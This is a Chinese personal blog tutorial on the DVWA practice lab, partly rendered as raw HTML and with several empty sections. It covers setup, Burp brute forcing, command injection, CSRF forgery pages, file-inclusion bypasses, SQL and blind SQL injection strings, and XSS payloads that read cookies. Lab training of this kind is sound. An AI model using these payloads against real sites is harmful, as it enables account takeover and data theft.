DVWA-写给自己看的傻瓜式教程

2023-09-28 01:22:05

安装

下载PHPstudy

->官网下载

下载DVWA

->官网下载64位版本
->将压缩包解压在PHP study的WWW文件目录下
->将DVWA-master下config下的文件改名为config.inc.php
->将文件中密码改为root

配置DVWA

->打开http://localhost/dvwa-master/setup.php

->点击create,进入登陆页面即成功
->然而我第一次创建时候的提示是：

->然后根据网上搜的解决方法，把config下的php文件密码改成了空，依然不行
->然后我通过改PHP study里数据库的密码为123456

->php文件里的密码也改成了123456.

->然后重启PHP study
->创建成功，进入登陆页面

DVWA登录

->用户名admin,密码password

我也不知道为什么这次就成功了，也并不知道问题出在哪里，GG
我对着运行管理器看了半天端口问题，最后改密码倒是成功了
有小可爱会解答一下给我吗

暴力破解—弱口令漏洞

处置措施：限定登录错误次数、设置验证码、使用复杂强密码
挖掘方法：使用 GoogleHacking 语法进行寻找登录页面

inurl:login
intext:后台登录

遗留：ssh弱口令爆破？带验证码破解？密码加密？

Low/Medium

->Low与Medium,操作相同，但Medium时间延长
在这里插入图片描述
->抓包，send to intruder

Sniper –
这个是我们最常用的，Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
Battering ram –
这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
Pitchfork –
这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组，把payload放入每个定义的位置中。比如：position中A处有a字典，B处有b字典，则a【1】将会对应b【1】进行attack处理，这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量
Cluster bomb –
这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组，每种payload组合都会被测试一遍。比如：position中A处有a字典，B处有b字典，则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积

在这里插入图片描述
->start attack

High

->数据包多一字段,不能继续使用相同方法
在这里插入图片描述
->Pitchfork模式

->线程为1

->允许重定向

->通过正则截取response中信息

->分别设置字段字典

->爆破

命令注入

防范措施：禁用高危系统函数、严格过滤字符、限制允许的参数类型

问题：为什么不能使用net 命令

Low

问题一：乱码
在这里插入图片描述
解决方法：将dvwa目录下includes文件夹中dvwaPage.inc.php文件的编码格式由utf8改为GBK

在这里插入图片描述
->顺利ping 127.0.0.1

在这里插入图片描述

问题二：对net user 无反应？？？
经查，将php.ini中disable_functions中的shell_exec()删除
在这里插入图片描述
结果：依旧不行

其他命令可执行

Medium

->代码截图
在这里插入图片描述
->‘&&’已不可

->’&'可

->net user 依旧没反应（气炸）

High

->代码
在这里插入图片描述
->‘&&‘和’&‘都不可
->注意代码中’| '有一空格符
->执行127.0.0.1|ping www.baidu.com（符号后无空格）

CSRF—跨站请求伪造

防范措施：

Low

->抓取URL
在这里插入图片描述
->构造含链接文档


404
file notfound.

->页面效果

在这里插入图片描述
->使用与运行DVWA同一浏览器（同一浏览器才读得出cookie）打开HTML文档，即可篡改密码

Medium

->对比代码
->stripos() 函数查找字符串在另一字符串中第一次出现的位置（不区分大小写）
->意思即：在http包中referer字段处找到server_name服务器名=在伪造请求的连接中，referer字段要有被攻击方的服务器名
在这里插入图片描述
->构造伪造请求文档，文件名改为被攻击方ip（192.168.239.129.html），放在DVWA根目录下（本地127.0.0.1路径），使用相同浏览器访问

->查看包，referer中存在192.168.239.129（被攻击的用户服务器名，127.0.0.1相当于攻击方服务器）
在这里插入图片描述

问题：发现，点击此请求伪造连接，需要在DVWA登录状态时，若登出时点击，则无法更改密码，为什么？？？
因为一旦退出，则服务器与浏览器之间的会话已失效，具体可再看看CSRF原理

High

->分析源码，每次访问csrf页面，服务器会返回一个token值，向服务器发起请求时需要提交正确的token。
在这里插入图片描述
->利用xss存储型high漏洞，通过抓包修改，利用name框得到token值


</code></pre> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200512145854652.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><br /> ->抓包发现比之前多了一段user_token<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200917162420711.png#pic_center" alt="在这里插入图片描述" /><br /> ->构造含链接文档</p> 
<pre><code><img src="http://192.168.239.129/dvwa-master/vulnerabilities/csrf/?password_new=pass123&password_conf=pass123&Change=Change&user_token=24d57a8468208861a32da89b06a4de2d" border="0"/>
<h1>404</h1>
<h2>file notfound.</h2>
</code></pre> 
<p>->同一浏览器打开攻击文档，得到token后不可再次打开csrf页面，token会更新</p> 
<hr /> 
<h3><a id="Impossible_189"></a>Impossible</h3> 
<p>->改密码时需要输入原密码，若不知道原密码则无法进行CSRF攻击<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200917164100178.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<hr /> 
<h2><a id="_196"></a>文件包含</h2> 
<p>关于The PHP function allow_url_include is not enabled<br /> 除了改变dvwa路径下php.ini，还要改变extensions下php路径下的php.ini</p> 
<hr /> 
<h3><a id="Low_201"></a>Low</h3> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200513171738994.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><br /> ->将所有php.ini文件中allow_url_include改为on<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200514105419786.png" alt="在这里插入图片描述" /><br /> ->抓包，在父目录中放入1.txt<br /> ->txt文件中内容</p> 
<pre><code><?phpphpinfo();
?>
</code></pre> 
<p>->改路径<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200921163324970.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<h3><a id="Medium_217"></a>Medium</h3> 
<p>->看源码<br /> vulnerabilities/fi/source/medium.php</p> 
<pre><code><?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?> 
</code></pre> 
<p>->可以看出，过滤了一部分字符</p> 
<blockquote> <p>使用str_replace函数是极其不安全的，因为可以使用双写绕过替换规则。</p> <p>例如page=hthttp://tp://192.168.5.12/phpinfo.txt时，str_replace函数会将http://删除，于是page=http://192.168.5.12/phpinfo.txt，成功执行远程命令。</p> <p>同时，因为替换的只是“…/”、“…\”，所以对采用绝对路径的方式包含文件是不会受到任何限制的。</p> 
</blockquote> 
<hr /> 
<h3><a id="High_242"></a>High</h3> 
<p>->分析源码</p> 
<pre><code><?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}
?> 
</code></pre> 
<p>->要求文件开头必须是file才会文件包含<br /> ->构造URL</p> 
<pre><code>192.168.239.129/dvwa-master/vulnerabilities/fi/?page=file:///C:\phpStudy_64\phpstudy_pro\WWW\DVWA-master/php.ini
</code></pre> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200921170831731.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<hr /> 
<h2><a id="_268"></a>文件上传</h2> 
<hr /> 
<h3><a id="Low_271"></a>Low</h3> 
<hr /> 
<h3><a id="Medium_274"></a>Medium</h3> 
<hr /> 
<h3><a id="High_277"></a>High</h3> 
<hr /> 
<hr /> 
<h2><a id="Insecure_CAPTCHA_281"></a>Insecure CAPTCHA</h2> 
<hr /> 
<h3><a id="Low_284"></a>Low</h3> 
<hr /> 
<h3><a id="Medium_287"></a>Medium</h3> 
<hr /> 
<h3><a id="High_290"></a>High</h3> 
<hr /> 
<hr /> 
<h2><a id="SQL_298"></a>SQL注入</h2> 
<p>动手前查看了无数DVWA示例博客，自信满满的开始SQL注入</p> 
<p>结果。。。不仅自己尝试失败，我还把我所有看过的示例放进去全都失败，配置好环境以后就这样被阻滞了进程。。。还没入门就劝退</p> 
<p>经过两天的折腾与折磨，我终于发现问题所在——我的安全级别居然是——impossible！尼玛。。。</p> 
<p>把级别换成LOW，我终于可以动手了。嘤嘤嘤。</p> 
<hr /> 
<h3><a id="Low_309"></a>Low</h3> 
<p>–>确认可注入（判断为字符型）<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023155812589.png" alt="" /><br /> –>确认字段值<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023160028347.png" alt="在这里插入图片描述" /><br /> –>确认库名<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023160227535.png" alt="在这里插入图片描述" /><br /> –>确认全部库名<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200915172004399.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<p>–>通过库名确认表名<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023162238234.png" alt="在这里插入图片描述" /><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023162335560.png" alt="在这里插入图片描述" /></p> 
<p>–>通过表名确认字段名<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023172142676.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023172048126.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><br /> –>通过字段名获取关键字段值<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/2019102317265853.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023172719767.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><br /> ->获得了用户名与密码，over</p> 
<p><mark>问题一</mark>：<strong>为什么使用UNION联合查询 select 1,3不能显示表内全部行数？</strong><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/2019102210104883.png" alt="在这里插入图片描述" /><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191022101137478.png" alt="在这里插入图片描述" /><br /> <mark>解答：union 会自动去重，union all不去重</mark><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191022101613726.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /></p> 
<p><mark>问题二</mark>为什么users不止两列，却只能使用到order by 2?<br /> <mark>解答：order by 是根据你所查询的字段值来排序，而本页面查询字段值为2。</mark><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023144148135.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /></p> 
<p><mark>问题三</mark><br /> 当我输入——1’ and 1=2 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#<br /> 页面报错：<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023153520639.png" alt="在这里插入图片描述" /><br /> 经查，问题在于字符编码值不匹配。<br /> 查验数据库，排序规则不同<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023153729754.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023154252520.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023154210598.png" alt="在这里插入图片描述" /></p> 
<p><mark>解决方法</mark><br /> <mark>输入</mark><br /> <mark>1’ and 1=2 union select ‘1’,table_name <strong>COLLATE utf8_general_ci</strong> from information_schema.tables where table_schema='dvwa</mark><br /> <em>（but,这是我通过数据库直接查看了排序规则，若无法查看数据库，通过网页注入，如何解决？）</em></p> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191023154503163.png" alt="在这里插入图片描述" /><br /> <mark>部分简易笔记</mark><br /> table_schema是数据库的名称<br /> table_name是具体的表名<br /> <strong>COLLATE</strong>转换字符编码排序规则（？）<br /> 库中找表–>from information_schema.tables<br /> 库中找列–>from information_schema.columns</p> 
<hr /> 
<h3><a id="Medium_365"></a>Medium</h3> 
<p>->若无法抓包，可将localhost改为本地ip</p> 
<p>->Medium注入页面<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191024162403332.png" alt="在这里插入图片描述" /><br /> ->使用Burpsuite<br /> ->打开浏览器-工具-Internet选项-局域网设置-代理服务器<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191024162641746.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /><br /> ->打开Burpsuite抓包（可判断为数字型注入）<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191024170842219.png" alt="在这里插入图片描述" /><br /> ->更改id(略过中间注入步骤)<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191024170954739.png" alt="在这里插入图片描述" /><br /> ->where table_schema='dvwa’报错，符号被限制，使用database()<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200915173258222.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->where table_name='users’报错，符号被限制，使用十六进制编码绕开<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/2020091517380877.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<p>->获取user,password<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20191024171109808.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" /></p> 
<hr /> 
<h3><a id="High_386"></a>High</h3> 
<p>->根据源代码可判断字符型注入<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200915215906796.png#pic_center" alt="在这里插入图片描述" /><br /> ->与low注入步骤基本一致，区别在于不报错<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/2020091522374928.png#pic_center" alt="在这里插入图片描述" /></p> 
<p>->爆出用户名和密码<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200915223716796.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<hr /> 
<h2><a id="SQL_397"></a>SQL注入（盲注）</h2> 
<p>1.判断是否存在注入，注入是字符型还是数字型</p> 
<p>2.猜解当前数据库名</p> 
<p>3.猜解数据库中的表名</p> 
<p>4.猜解表中的字段名</p> 
<p>5.猜解数据</p> 
<hr /> 
<h3><a id="Low_409"></a>Low</h3> 
<p>->判断是否存在注入<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200923100340721.png#pic_center" alt="在这里插入图片描述" /><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200923100432557.png#pic_center" alt="在这里插入图片描述" /><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200923100500205.png#pic_center" alt="在这里插入图片描述" /><br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200923100600167.png#pic_center" alt="在这里插入图片描述" /><br /> ->存在字符型注入<br /> ->判断数据库名长度</p> 
<pre><code>1' and length(database()) = 4#
</code></pre> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200923100926225.png#pic_center" alt="在这里插入图片描述" /><br /> ->使用二分法猜解数据库名</p> 
<blockquote> <p>输入1’ and ascii(substr(databse(),1,1))>97<br /> #，显示存在，说明数据库名的第一个字符的ascii值大于97（小写字母a的ascii值）；</p> <p>输入1’ and ascii(substr(databse(),1,1))<122<br /> #，显示存在，说明数据库名的第一个字符的ascii值小于122（小写字母z的ascii值）；</p> <p>输入1’ and ascii(substr(databse(),1,1))<109<br /> #，显示存在，说明数据库名的第一个字符的ascii值小于109（小写字母m的ascii值）；</p> <p>输入1’ and ascii(substr(databse(),1,1))<103<br /> #，显示存在，说明数据库名的第一个字符的ascii值小于103（小写字母g的ascii值）；</p> <p>输入1’ and ascii(substr(databse(),1,1))<100<br /> #，显示不存在，说明数据库名的第一个字符的ascii值不小于100（小写字母d的ascii值）；</p> <p>输入1’ and ascii(substr(databse(),1,1))>100<br /> #，显示不存在，说明数据库名的第一个字符的ascii值不大于100（小写字母d的ascii值），所以数据库名的第一个字符的ascii值为100，即小写字母d。</p> <p>…<br /> 重复上述步骤，就可以猜解出完整的数据库名（dvwa）了。</p> 
</blockquote> 
<pre><code>1' and database()='dvwa' #
</code></pre> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200923102711612.png#pic_center" alt="在这里插入图片描述" /></p> 
<p>3.猜解数据库中的表名<br /> 首先猜解数据库中表的数量：</p> 
<p>。。。<br /> https://www.freebuf.com/articles/web/120985.html</p> 
<hr /> 
<h3><a id="Medium_458"></a>Medium</h3> 
<hr /> 
<h3><a id="High_461"></a>High</h3> 
<hr /> 
<hr /> 
<h2><a id="Weak_Session_IDs_465"></a>Weak Session IDs</h2> 
<hr /> 
<hr /> 
<h2><a id="XSSDOM_475"></a>XSS(DOM)</h2> 
<p>https://blog.csdn.net/qq_36119192/article/details/82932557</p> 
<hr /> 
<h3><a id="Low_479"></a>Low</h3> 
<hr /> 
<h3><a id="Medium_482"></a>Medium</h3> 
<hr /> 
<h3><a id="High_485"></a>High</h3> 
<hr /> 
<hr /> 
<h2><a id="XSSreflected_494"></a>XSS(reflected)</h2> 
<hr /> 
<h3><a id="Low_496"></a>Low</h3> 
<p>->代码无任何过滤，直接插入代码反射cookie</p> 
<pre><code><script>alert(document.cookie)</script>
</code></pre> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200916152216669.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<h3><a id="Medium_508"></a>Medium</h3> 
<p>->分析代码<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200916152834204.png#pic_center" alt="在这里插入图片描述" /><br /> ->html标签不区分大小写，将script大小写改动，绕过str_replace函数</p> 
<pre><code><scripT>alert(document.cookie)</scripT>
</code></pre> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200916152603349.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<h3><a id="High_519"></a>High</h3> 
<p>->分析源码，对script标签做了 ==正则（？）==过滤<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200916154742606.png#pic_center" alt="在这里插入图片描述" /><br /> ->换其他可用标签</p> 
<pre><code><a href=""  onclick=alert(document.cookie)>click1</a>
<body onload=alert(document.cookie)>
<img src='' onerror=alert(document.cookie)>
</code></pre> 
<p><img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200916154606660.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<h3><a id="Impossible_533"></a>Impossible</h3> 
<p>->分析源码<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200916160219811.png#pic_center" alt="在这里插入图片描述" /><br /> ->htmlspecialchars函数：把预定义的字符 “<” 和 “>” 转换为 HTML 实体，<>这两个标签字符变为html实体就无法构造标签攻击了</p> 
<hr /> 
<hr /> 
<h2><a id="XSSstored_540"></a>XSS(stored)</h2> 
<hr /> 
<h3><a id="Low_542"></a>Low</h3> 
<p>->分析源码，可使用XSS反射型攻击方式，若受name长度限制，可先抓包再修改<br /> ->每当有人打开留言，就会执行注入的标签攻击<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200917151712236.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<h3><a id="Medium_548"></a>Medium</h3> 
<p>->分析代码，name过滤了script标签,message过滤了标签<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200917152450185.png#pic_center" alt="在这里插入图片描述" /><br /> ->可通过抓包修改在name中注入标签攻击，绕过过滤</p> 
<pre><code><scripT>alert(document.cookie)</scripT>
</code></pre> 
<hr /> 
<h3><a id="High_557"></a>High</h3> 
<p>->分析源码，message过滤了标签，name使用正则过滤了script<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20200917153403255.png#pic_center" alt="在这里插入图片描述" /><br /> ->使用其他标签通过抓包修改，在name中注入标签攻击</p> 
<pre><code><a href=""  onclick=alert(document.cookie)>click1</a>
<body onload=alert(document.cookie)>
<img src='' onerror=alert(document.cookie)>
</code></pre> 
<hr /> 
<h3><a id="Imposiible_567"></a>Imposiible</h3> 
<hr /> 
<hr /> 
<h2><a id="CSP_Bypass_570"></a>CSP Bypass</h2> 
<hr /> 
<hr /> 
<h2><a id="JavaScript_Attacks_573"></a>JavaScript Attacks</h2> 
<hr /> 
<h3><a id="Low_575"></a>Low</h3> 
<p>->输入success<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030094508862.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->分析源码<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030094610768.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->将phrase的value值改为"success"或者直接在输入框内输入"success"<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030094803141.png#pic_center" alt="在这里插入图片描述" /><br /> ->在控制台执行generate_token() //必须先将phrase的value改为"success"再执行函数<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030095118401.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->well done 执行成功<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030095251879.png#pic_center" alt="在这里插入图片描述" /></p> 
<hr /> 
<h3><a id="Medium_588"></a>Medium</h3> 
<p>->分析源码<br /> 先执行do_elsesomething(“XX”),e=“XX”,再执行do_something(e)<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030100307561.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /></p> 
<p>->在控制台执行do_elsesomething(“XX”) //先将输入框的value改为success<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030100626996.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->提交，well done</p> 
<hr /> 
<h3><a id="High_598"></a>High</h3> 
<p>->js存在代码混淆<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201028181805175.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->混淆逆向网址-http://deobfuscatejavascript.com/<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201028182058941.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->分析代码，执行顺序<br /> 1.token_part_1(“ABCD”, 44);<br /> 2.token_part_2(“XX”)<br /> 3.点击时执行token_part_3(t, y = “ZZ”)<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030101436334.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->在控制台操作<br /> 1.在框内输入success<br /> 2.执行token_part_1(“ABCD”, 44);<br /> 3.执行token_part_2(“XX”)<br /> 4.提交<br /> <img referrerpolicy="no-referrer" src="https://img-blog.csdnimg.cn/20201030094300169.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5MjgzMTc0,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" /><br /> ->well done 提交成功</p> 
<hr /> 
<h3><a id="Impossible_617"></a>Impossible</h3> 
